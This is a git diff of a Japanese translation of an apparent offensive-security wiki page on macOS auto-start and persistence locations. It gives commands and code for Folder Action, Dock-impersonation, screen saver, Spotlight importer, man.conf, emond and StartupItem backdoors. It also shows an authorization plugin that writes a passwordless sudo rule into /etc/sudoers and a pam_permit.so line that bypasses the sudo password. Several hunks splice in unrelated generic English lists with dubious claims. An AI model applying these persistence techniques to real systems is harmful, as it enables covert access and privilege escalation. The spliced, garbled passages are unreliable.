@ -776,7 +785,7 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
```bash
|
||||
osacompile -l JavaScript -o folder.scpt source.js
|
||||
```
|
||||
スクリプトがコンパイルされた後、以下のスクリプトを実行してフォルダアクションを設定します。このスクリプトはフォルダアクションをグローバルに有効にし、事前にコンパイルされたスクリプトをデスクトップフォルダに特定してアタッチします。
|
||||
スクリプトがコンパイルされた後、以下のスクリプトを実行してフォルダアクションを設定します。このスクリプトはフォルダアクションをグローバルに有効にし、以前にコンパイルされたスクリプトをデスクトップフォルダに特定してアタッチします。
|
||||
```javascript
|
||||
// Enabling and attaching Folder Action
|
||||
var se = Application("System Events");
|
||||
|
@ -786,11 +795,11 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
|
|||
se.folderActions.push(fa);
|
||||
fa.scripts.push(myScript);
|
||||
```
|
||||
以下のコマンドでセットアップスクリプトを実行します:
|
||||
次のコマンドでセットアップスクリプトを実行します:
|
||||
```bash
|
||||
osascript -l JavaScript /Users/username/attach.scpt
|
||||
```
|
||||
* これはGUIを介してこの持続性を実装する方法です:
|
||||
* これはGUIを介してこの永続性を実装する方法です:
|
||||
|
||||
これが実行されるスクリプトです:
|
||||
|
||||
|
@ -812,34 +821,34 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
```
|
||||
その後、`Folder Actions Setup`アプリを開き、**監視したいフォルダ**を選択し、あなたの場合は**`folder.scpt`**を選択します(私の場合はoutput2.scpと呼んでいます):
|
||||
その後、`Folder Actions Setup`アプリを開き、**監視したいフォルダ**を選択し、あなたの場合は**`folder.scpt`**を選択します(私の場合はoutput2.scpと呼びました):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
これで、**Finder**でそのフォルダを開くと、スクリプトが実行されます。
|
||||
|
||||
この設定は、**base64形式**で保存された**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**に格納されています。
|
||||
|
||||
次に、GUIアクセスなしでこの永続性を準備しよう:
|
||||
次に、GUIアクセスなしでこの永続性を準備しましょう:
|
||||
|
||||
1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**を`/tmp`にバックアップする:
|
||||
1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**を`/tmp`にバックアップするためにコピーします:
|
||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. さっき設定したフォルダアクションを**削除**する:
|
||||
2. さきほど設定したフォルダアクションを**削除**します:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
これで環境が空になりました
|
||||
これで空の環境ができました
|
||||
|
||||
3. バックアップファイルをコピーする:`cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
|
||||
4. この設定を適用するためにFolder Actions Setup.appを開く:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
3. バックアップファイルをコピーします: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
|
||||
4. この構成を適用するためにFolder Actions Setup.appを開きます: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
私にはうまくいきませんでしたが、これがライートアップからの指示です:(
|
||||
私にはうまくいきませんでしたが、これがライティングアップからの指示です:(
|
||||
{% endhint %}
|
||||
|
||||
### ドックのショートカット
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
ライティングアップ: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [✅](https://emojipedia.org/check-mark-button)
|
||||
* ただし、システム内に悪意のあるアプリケーションをインストールしている必要があります
|
||||
|
@ -854,7 +863,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.
|
|||
|
||||
Dockに表示されるすべてのアプリケーションは、**`~/Library/Preferences/com.apple.dock.plist`**内で指定されています。
|
||||
|
||||
**アプリケーションを追加**することが可能です:
|
||||
**アプリケーションを追加**することが可能です:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -866,7 +875,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
いくつかの**ソーシャルエンジニアリング**を使用して、ドック内でGoogle Chromeなどを**偽装**し、実際に独自のスクリプトを実行することができます。
|
||||
いくつかの**ソーシャルエンジニアリング**を使用して、ドック内でGoogle Chromeなどを**偽装**し、実際に独自のスクリプトを実行できます:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -926,7 +935,7 @@ killall Dock
|
|||
* サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 非常に特定のアクションが必要
|
||||
* 別のサンドボックスに入る
|
||||
* TCCバイパス: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* TCC バイパス: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -938,9 +947,9 @@ killall Dock
|
|||
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
**コードと一緒にカラーピッカー**バンドルをコンパイルします(例: [**こちらを使用できます**](https://github.com/viktorstrate/color-picker-plus))そしてコンストラクタを追加します([スクリーンセーバーセクション](macos-auto-start-locations.md#screen-saver)のように)そしてバンドルを`~/Library/ColorPickers`にコピーします。
|
||||
**コードと一緒にカラーピッカー**バンドルをコンパイルします(例: [**こちらを使用できます**](https://github.com/viktorstrate/color-picker-plus))そしてコンストラクタを追加します([スクリーンセーバーのセクション](macos-auto-start-locations.md#screen-saver)のように)バンドルを`~/Library/ColorPickers`にコピーします。
|
||||
|
||||
その後、カラーピッカーがトリガーされると、あなたのコードも実行されるはずです。
|
||||
その後、カラーピッカーがトリガーされると、あなたのコードも実行されます。
|
||||
|
||||
あなたのライブラリをロードするバイナリには**非常に制限の厳しいサンドボックス**があることに注意してください: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
|
||||
|
@ -978,8 +987,8 @@ pluginkit -e use -i com.example.InSync.InSync
|
|||
```
|
||||
### スクリーンセーバー
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||
解説: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、一般的なアプリケーションサンドボックスに入る
|
||||
|
@ -996,7 +1005,7 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
|
|||
* `~/Library/Screen Savers`
|
||||
* **トリガー**: スクリーンセーバーを選択
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
|
@ -1016,7 +1025,7 @@ Timestamp (process)[PID]
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
このコードを読み込むバイナリの権限(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)の中に **`com.apple.security.app-sandbox`** があるため、**一般的なアプリケーションサンドボックス内に**いることになります。
|
||||
このコードをロードするバイナリの権限(`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`)の中に **`com.apple.security.app-sandbox`** があるため、**一般的なアプリケーションサンドボックス内に**いることに注意してください。
|
||||
{% endhint %}
|
||||
|
||||
Saver code:
|
||||
|
@ -1089,35 +1098,35 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|||
|
||||
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
||||
|
||||
* 便利なサンドボックス回避に使用: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、アプリケーションのサンドボックスに入ることになります
|
||||
* TCCバイパス: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* TCC バイパス: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* サンドボックスは非常に制限されているようです
|
||||
|
||||
#### 位置
|
||||
|
||||
* `~/Library/Spotlight/`
|
||||
* **トリガー**: Spotlightプラグインで管理される拡張子の新しいファイルが作成されます。
|
||||
* **トリガー**: Spotlight プラグインで管理される拡張子の新しいファイルが作成された場合
|
||||
* `/Library/Spotlight/`
|
||||
* **トリガー**: Spotlightプラグインで管理される拡張子の新しいファイルが作成されます。
|
||||
* ルート権限が必要です
|
||||
* **トリガー**: Spotlight プラグインで管理される拡張子の新しいファイルが作成された場合
|
||||
* ルート権限が必要
|
||||
* `/System/Library/Spotlight/`
|
||||
* **トリガー**: Spotlightプラグインで管理される拡張子の新しいファイルが作成されます。
|
||||
* ルート権限が必要です
|
||||
* **トリガー**: Spotlight プラグインで管理される拡張子の新しいファイルが作成された場合
|
||||
* ルート権限が必要
|
||||
* `Some.app/Contents/Library/Spotlight/`
|
||||
* **トリガー**: Spotlightプラグインで管理される拡張子の新しいファイルが作成されます。
|
||||
* 新しいアプリが必要です
|
||||
* **トリガー**: Spotlight プラグインで管理される拡張子の新しいファイルが作成された場合
|
||||
* 新しいアプリが必要
|
||||
|
||||
#### 説明と悪用
|
||||
|
||||
SpotlightはmacOSの組み込み検索機能で、ユーザーにコンピューター上のデータへの迅速かつ包括的なアクセスを提供するよう設計されています。\
|
||||
この迅速な検索機能を可能にするために、Spotlightは**独自のデータベース**を維持し、ほとんどのファイルを解析してインデックスを作成し、ファイル名と内容の両方を素早く検索できるようにします。
|
||||
Spotlight は macOS の組み込み検索機能で、ユーザーに**コンピュータ上のデータへの迅速かつ包括的なアクセス**を提供するよう設計されています。\
|
||||
この迅速な検索機能を可能にするために、Spotlight は**独自のデータベース**を維持し、ほとんどのファイルを解析してインデックスを作成し、ファイル名とその内容の両方を素早く検索できるようにします。
|
||||
|
||||
Spotlightの基本メカニズムには、'mds'という中央プロセスが関与しており、これは**'メタデータサーバー'**を表します。このプロセスはSpotlightサービス全体を統括します。これに加えて、複数の'mdworker'デーモンがあり、さまざまなメンテナンスタスクを実行します。これらのタスクは、異なるファイルタイプをインデックス化するなどのものであり、これはSpotlightインポータープラグインまたは**".mdimporterバンドル**"によって可能にされ、Spotlightがさまざまなファイル形式全体のコンテンツを理解してインデックス化できるようにします。
|
||||
Spotlight の基本的なメカニズムには、'mds' という中央プロセスが関与しており、これは**'メタデータサーバ'**の略称です。このプロセスは、Spotlight サービス全体を統括しています。これに加えて、複数の 'mdworker' デーモンが存在し、異なるファイルタイプをインデックス化するなどのさまざまなメンテナンスタスクを実行します(`ps -ef | grep mdworker`)。これらのタスクは、Spotlight インポータープラグインまたは**".mdimporter バンドル"**によって可能にされ、Spotlight がさまざまなファイル形式全体のコンテンツを理解してインデックス化できるようにします。
|
||||
|
||||
プラグインまたは**`.mdimporter`**バンドルは以前に言及された場所にあり、新しいバンドルが現れるとすぐにロードされます(サービスの再起動は不要)。これらのバンドルは、管理できる**ファイルタイプと拡張子**を示さなければならず、このようにして、Spotlightは指定された拡張子の新しいファイルが作成されたときにそれらを使用します。
|
||||
プラグインまたは**`.mdimporter`** バンドルは以前に言及された場所にあり、新しいバンドルが現れるとすぐにロードされます(サービスの再起動は不要)。これらのバンドルは、管理できる**ファイルタイプと拡張子を示さなければならず**、このようにして、指定された拡張子の新しいファイルが作成されたときに Spotlight がそれらを使用します。
|
||||
|
||||
すべての`mdimporters`を見つけることが可能です。実行中:
|
||||
すべての**`mdimporters`**を見つけることができます。実行中:
|
||||
```bash
|
||||
mdimport -L
|
||||
Paths: id(501) (
|
||||
|
@ -1165,13 +1174,13 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
{% hint style="danger" %}
|
||||
他の `mdimporter` の Plist をチェックすると、**`UTTypeConformsTo`** エントリが見つからないことがあります。これは組み込みの _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) であり、拡張子を指定する必要がないためです。
|
||||
|
||||
さらに、システムのデフォルトプラグインが常に優先されるため、攻撃者は Apple の独自の `mdimporters` によってインデックス付けされていないファイルにのみアクセスできます。
|
||||
さらに、システムのデフォルトプラグインが常に優先されるため、攻撃者は Apple の `mdimporters` によってインデックス付けされていないファイルにのみアクセスできます。
|
||||
{% endhint %}
|
||||
|
||||
独自のインポータを作成するには、このプロジェクトを使用して開始できます: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer)、その後、名前を変更し、**`CFBundleDocumentTypes`** を変更し、サポートしたい拡張子をサポートするように **`UTImportedTypeDeclarations`** を追加し、**`schema.xml`** でそれらを反映させます。\
|
||||
独自のインポータを作成するには、このプロジェクトを使用して開始できます: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer)、その後、名前を変更し、**`CFBundleDocumentTypes`** を変更し、**`UTImportedTypeDeclarations`** を追加してサポートしたい拡張子をサポートし、**`schema.xml`** でそれらを反映させます。\
|
||||
その後、**`GetMetadataForFile`** 関数のコードを変更して、処理された拡張子を持つファイルが作成されたときにペイロードを実行します。
|
||||
|
||||
最後に、新しい `.mdimporter` をビルドしてコピーし、以前のいずれかの場所に配置し、**ログを監視**するか、**`mdimport -L`** をチェックしてロードされているかどうかを確認できます。
|
||||
最後に、新しい `.mdimporter` を 3 つの前述の場所のいずれかにビルドしてコピーし、**ログを監視**するか、**`mdimport -L.`** をチェックしてロードされているかどうかを確認できます。
|
||||
|
||||
### ~~Preference Pane~~
|
||||
|
||||
|
@ -1198,7 +1207,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
## Root Sandbox Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
ここでは、**サンドボックス回避** に役立つ **開始位置** を見つけることができます。これにより、**ファイルに書き込むことで** 単純に何かを実行できますが、**root** であることや他の **奇妙な条件** が必要です。
|
||||
ここでは、**サンドボックス回避** に役立つスタート位置を見つけることができます。**ファイルに書き込むことで** 単純に何かを実行できる **root** であることや他の **奇妙な条件** を必要とします。
|
||||
{% endhint %}
|
||||
|
||||
### 定期的
|
||||
|
@ -1220,7 +1229,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
定期的なスクリプト (**`/etc/periodic`**) は、`/System/Library/LaunchDaemons/com.apple.periodic*` で構成された **launch daemons** によって実行されます。`/etc/periodic/` に保存されたスクリプトはファイルの所有者として実行されるため、潜在的な特権昇格には機能しません。
|
||||
定期的なスクリプト (**`/etc/periodic`**) は、`/System/Library/LaunchDaemons/com.apple.periodic*` で構成された **launch daemons** によって実行されます。`/etc/periodic/` に保存されたスクリプトはファイルの所有者として **実行** されるため、潜在的な特権昇格には機能しません。
|
||||
```bash
|
||||
# Launch daemons that will execute the periodic scripts
|
||||
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
|
||||
|
@ -1253,7 +1262,7 @@ total 8
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**`/etc/defaults/periodic.conf`**に記載されている実行される他の定期スクリプトがあります:
|
||||
他にも実行される定期的なスクリプトがあり、**`/etc/defaults/periodic.conf`** に記載されています。
|
||||
```bash
|
||||
grep "Local scripts" /etc/defaults/periodic.conf
|
||||
daily_local="/etc/daily.local" # Local scripts
|
||||
|
@ -1291,32 +1300,20 @@ ls -l /etc/pam.d
|
|||
```
|
||||
## macOS Auto Start Locations
|
||||
|
||||
### Launch Agents
|
||||
### macOS Auto Start Locations
|
||||
|
||||
Launch Agents are used to run code at login or when a user logs in. They are located in the following directories:
|
||||
macOS provides several locations where applications and services can be configured to automatically start when a user logs in. These locations include:
|
||||
|
||||
- `/Library/LaunchAgents/`
|
||||
- `/System/Library/LaunchAgents/`
|
||||
- `/Users/<username>/Library/LaunchAgents/`
|
||||
- **Login Items**: Configured per user in System Preferences > Users & Groups > Login Items.
|
||||
- **Launch Agents**: Configured per user and run when the user logs in.
|
||||
- **Launch Daemons**: Configured system-wide and run at system startup.
|
||||
- **Startup Items**: Deprecated since macOS 10.7.
|
||||
|
||||
### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run code during boot or system startup. They are located in the following directories:
|
||||
|
||||
- `/Library/LaunchDaemons/`
|
||||
- `/System/Library/LaunchDaemons/`
|
||||
|
||||
### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
|
||||
### Startup Items
|
||||
|
||||
Startup Items are legacy items that are launched during system startup. They are located in `/Library/StartupItems/` but are deprecated and not supported in macOS Catalina and later.
|
||||
To ensure the security of a macOS system, it is important to regularly review and monitor these auto-start locations for any unauthorized or malicious entries.
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
それは次のように**見える**でしょう:
|
||||
したがって、それは次のように**見える**でしょう:
|
||||
```bash
|
||||
# sudo: auth account password session
|
||||
auth sufficient pam_permit.so
|
||||
|
@ -1346,11 +1343,11 @@ session required pam_permit.so
|
|||
|
||||
* `/Library/Security/SecurityAgentPlugins/`
|
||||
* root権限が必要
|
||||
* プラグインを使用するために認可データベースを構成する必要があります
|
||||
* プラグインを使用するように認可データベースを構成する必要があります
|
||||
|
||||
#### 説明と悪用
|
||||
|
||||
ユーザーがログインするときに実行される認可プラグインを作成して、持続性を維持することができます。これらのプラグインの作成方法についての詳細は、以前の解説を参照してください(悪く書かれたプラグインはロックアウトされ、回復モードからMacをクリーンアップする必要があることに注意してください)。
|
||||
ユーザーがログインするときに実行される認可プラグインを作成して、持続性を維持することができます。これらのプラグインの作成方法についての詳細は、以前の解説を参照してください(悪く書かれたプラグインはロックアウトされ、回復モードからMacをクリーンアップする必要があります)。
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1369,7 +1366,7 @@ system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
|||
```bash
|
||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||
```
|
||||
最後に、このプラグインをロードする**ルール**を追加してください。
|
||||
最後に、このプラグインをロードする**ルール**を追加します:
|
||||
```bash
|
||||
cat > /tmp/rule.plist <<EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -1388,7 +1385,7 @@ EOF
|
|||
|
||||
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
||||
```
|
||||
**`evaluate-mechanisms`**は、認可フレームワークに、**認可のために外部メカニズムを呼び出す必要がある**ことを伝えます。さらに、**`privileged`**を使用すると、rootによって実行されるようになります。
|
||||
**`evaluate-mechanisms`**は、認可フレームワークに、**認可のために外部メカニズムを呼び出す必要がある**ことを伝えます。さらに、**`privileged`**は、それをrootユーザーで実行するようにします。
|
||||
|
||||
以下のようにトリガーします:
|
||||
```bash
|
||||
|
@ -1407,18 +1404,18 @@ security authorize com.asdf.asdf
|
|||
#### 位置
|
||||
|
||||
* **`/private/etc/man.conf`**
|
||||
* root権限が必要
|
||||
* Rootが必要
|
||||
* **`/private/etc/man.conf`**: manが使用されるたび
|
||||
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
構成ファイル**`/private/etc/man.conf`**は、manドキュメントファイルを開く際に使用するバイナリ/スクリプトを示しています。したがって、実行可能ファイルへのパスを変更すると、ユーザーがmanを使用してドキュメントを読むたびにバックドアが実行されます。
|
||||
設定ファイル**`/private/etc/man.conf`**は、manドキュメントファイルを開く際に使用するバイナリ/スクリプトを示しています。したがって、実行可能ファイルへのパスを変更すると、ユーザーがmanを使用してドキュメントを読むたびにバックドアが実行されます。
|
||||
|
||||
たとえば、**`/private/etc/man.conf`**に設定されています:
|
||||
例えば、**`/private/etc/man.conf`**に設定:
|
||||
```
|
||||
MANPAGER /tmp/view
|
||||
```
|
||||
その後、`/tmp/view`を以下のように作成します:
|
||||
その後、`/tmp/view`を以下のように作成します:
|
||||
```bash
|
||||
#!/bin/zsh
|
||||
|
||||
|
@ -1431,7 +1428,7 @@ touch /tmp/manconf
|
|||
**解説**: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、rootである必要があり、apacheが実行されている必要がある
|
||||
* ただし、rootである必要があり、apacheが実行中である必要がある
|
||||
* TCCバイパス: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Httpdには権限がない
|
||||
|
||||
|
@ -1453,7 +1450,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
|||
|
||||
これにより、Apacheによってコンパイルされたモジュールがロードされます。唯一の注意点は、**有効なApple証明書で署名する**か、システムに**新しい信頼された証明書を追加**して**それで署名する**必要があることです。
|
||||
|
||||
その後、サーバーが起動することを確認する必要がある場合は、次のコマンドを実行できます:
|
||||
必要に応じて、サーバーが起動することを確認するために次のコマンドを実行できます:
|
||||
```bash
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
|
||||
```
|
||||
|
@ -1498,12 +1495,9 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
**StartupItem**は、`/Library/StartupItems/`または`/System/Library/StartupItems/`のいずれかに配置されるべきディレクトリです。このディレクトリが確立されると、次の2つの特定のファイルを含む必要があります。
|
||||
|
||||
1. **rcスクリプト**:起動時に実行されるシェルスクリプト。
|
||||
2. **plistファイル**、特に`StartupParameters.plist`という名前の、さまざまな構成設定を含むファイル。
|
||||
2. **plistファイル**:`StartupParameters.plist`という名前のファイルで、さまざまな構成設定を含みます。
|
||||
|
||||
スタートアッププロセスがこれらを認識して利用するために、rcスクリプトと`StartupParameters.plist`ファイルが正しく**StartupItem**ディレクトリ内に配置されていることを確認してください。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -1524,73 +1518,13 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
### macOS Auto Start Locations
|
||||
### スーパーサービス名
|
||||
|
||||
#### Launch Agents
|
||||
|
||||
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
#### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/`.
|
||||
|
||||
#### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items.
|
||||
|
||||
#### Startup Items
|
||||
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
|
||||
#### Cron Jobs
|
||||
|
||||
Cron Jobs are scheduled tasks that run at specific times. They can be managed using the `crontab` command.
|
||||
|
||||
#### System Agents
|
||||
|
||||
System Agents are used to launch processes at system startup. They are stored in `/System/Library/LaunchAgents/`.
|
||||
|
||||
#### System Daemons
|
||||
|
||||
System Daemons are used to launch processes at system startup. They are stored in `/System/Library/LaunchDaemons/`.
|
||||
|
||||
#### XPC Services
|
||||
|
||||
XPC Services are helper tools that can be launched by applications. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
#### Kernel Extensions
|
||||
|
||||
Kernel Extensions are low-level modules that can be loaded into the macOS kernel. They are stored in `/Library/Extensions/` and `/System/Library/Extensions/`.
|
||||
|
||||
#### Login Hooks
|
||||
|
||||
Login Hooks are deprecated and no longer recommended for macOS. They were stored in `/Library/Security/SecurityAgentPlugins/`.
|
||||
|
||||
#### Third-Party Launch Daemons
|
||||
|
||||
Third-Party Launch Daemons are used by third-party applications to run processes at system startup. They are stored in `/Library/LaunchDaemons/`.
|
||||
|
||||
#### Third-Party Kernel Extensions
|
||||
|
||||
Third-Party Kernel Extensions are used by third-party applications to extend the functionality of the macOS kernel. They are stored in `/Library/Extensions/`.
|
||||
|
||||
#### Third-Party Login Items
|
||||
|
||||
Third-Party Login Items are applications from third-party developers that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items.
|
||||
|
||||
#### Third-Party System Agents
|
||||
|
||||
Third-Party System Agents are used by third-party applications to launch processes at system startup. They are stored in `/System/Library/LaunchAgents/`.
|
||||
|
||||
#### Third-Party XPC Services
|
||||
|
||||
Third-Party XPC Services are helper tools from third-party developers that can be launched by applications. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
#### Third-Party Startup Items
|
||||
|
||||
Third-Party Startup Items are legacy items from third-party developers that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
|
||||
{% endtab %}
|
||||
- **場所:** `/Library/LaunchDaemons`
|
||||
- **説明:** このディレクトリには、システム全体で実行されるデーモンの設定ファイルが含まれています。これらのデーモンは、システムが起動するときに自動的に開始されます。
|
||||
- **影響:** 悪意のあるデーモンをこのディレクトリに配置すると、それがシステムの起動時に自動的に実行される可能性があります。
|
||||
- **検出:** 不審なデーモンファイルを見つけた場合は、それを調査し、必要に応じて削除する必要があります。
|
||||
- **防御:** 不要なデーモンを削除し、必要なデーモンの権限を制限して、悪意のある変更を防ぎます。{% endtab %}
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
@ -1620,9 +1554,9 @@ RunService "$1"
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Appleによって導入された**emond**は、開発途中であるか、可能性として放棄されているようですが、アクセス可能な状態にあります。Macの管理者にとって特に有益ではありませんが、この不明瞭なサービスは、おそらくmacOSのほとんどの管理者には気付かれないまま、脅威行為者にとって微妙な持続性手法として機能する可能性があります。
|
||||
Appleによって導入された**emond**は、開発途中であるか、可能性として放棄されているようですが、アクセス可能な状態にあります。Macの管理者にとって特に有益ではありませんが、この不明瞭なサービスは、脅威アクターにとって微妙な持続性手法として機能する可能性があり、おそらくほとんどのmacOS管理者には気付かれないでしょう。
|
||||
|
||||
その存在を認識している人にとって、**emond**の悪用を特定することは簡単です。このサービスのシステムLaunchDaemonは、実行するスクリプトを単一のディレクトリ内で検索します。これを調査するために、次のコマンドを使用できます:
|
||||
その存在を認識している人にとって、**emond**の悪用を特定することは簡単です。このサービスのLaunchDaemonは、実行するスクリプトを単一のディレクトリ内で検索します。これを調査するには、次のコマンドを使用できます:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
|
@ -1638,12 +1572,12 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
|||
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
XQuartzは**macOSにはもはやインストールされていません**ので、詳細についてはwriteupを確認してください。
|
||||
XQuartzは**macOSにはもはやインストールされていません**ので、詳細についてはライトアップをチェックしてください。
|
||||
|
||||
### kext
|
||||
|
||||
{% hint style="danger" %}
|
||||
kextをルートとしてインストールするのは非常に複雑なので、サンドボックスから脱出するためや持続性のためにこれを考慮しないでください(エクスプロイトがある場合を除く)
|
||||
kextをルートとしてインストールするのは非常に複雑なので、サンドボックスから脱出するためや持続性のためにこれを考慮することはしません(エクスプロイトがある場合を除く)
|
||||
{% endhint %}
|
||||
|
||||
#### ロケーション
|
||||
|
@ -1653,9 +1587,9 @@ KEXTを起動アイテムとしてインストールするには、次のいず
|
|||
* `/System/Library/Extensions`
|
||||
* OS Xオペレーティングシステムに組み込まれたKEXTファイル。
|
||||
* `/Library/Extensions`
|
||||
* サードパーティ製ソフトウェアによってインストールされたKEXTファイル
|
||||
* サードパーティソフトウェアによってインストールされたKEXTファイル
|
||||
|
||||
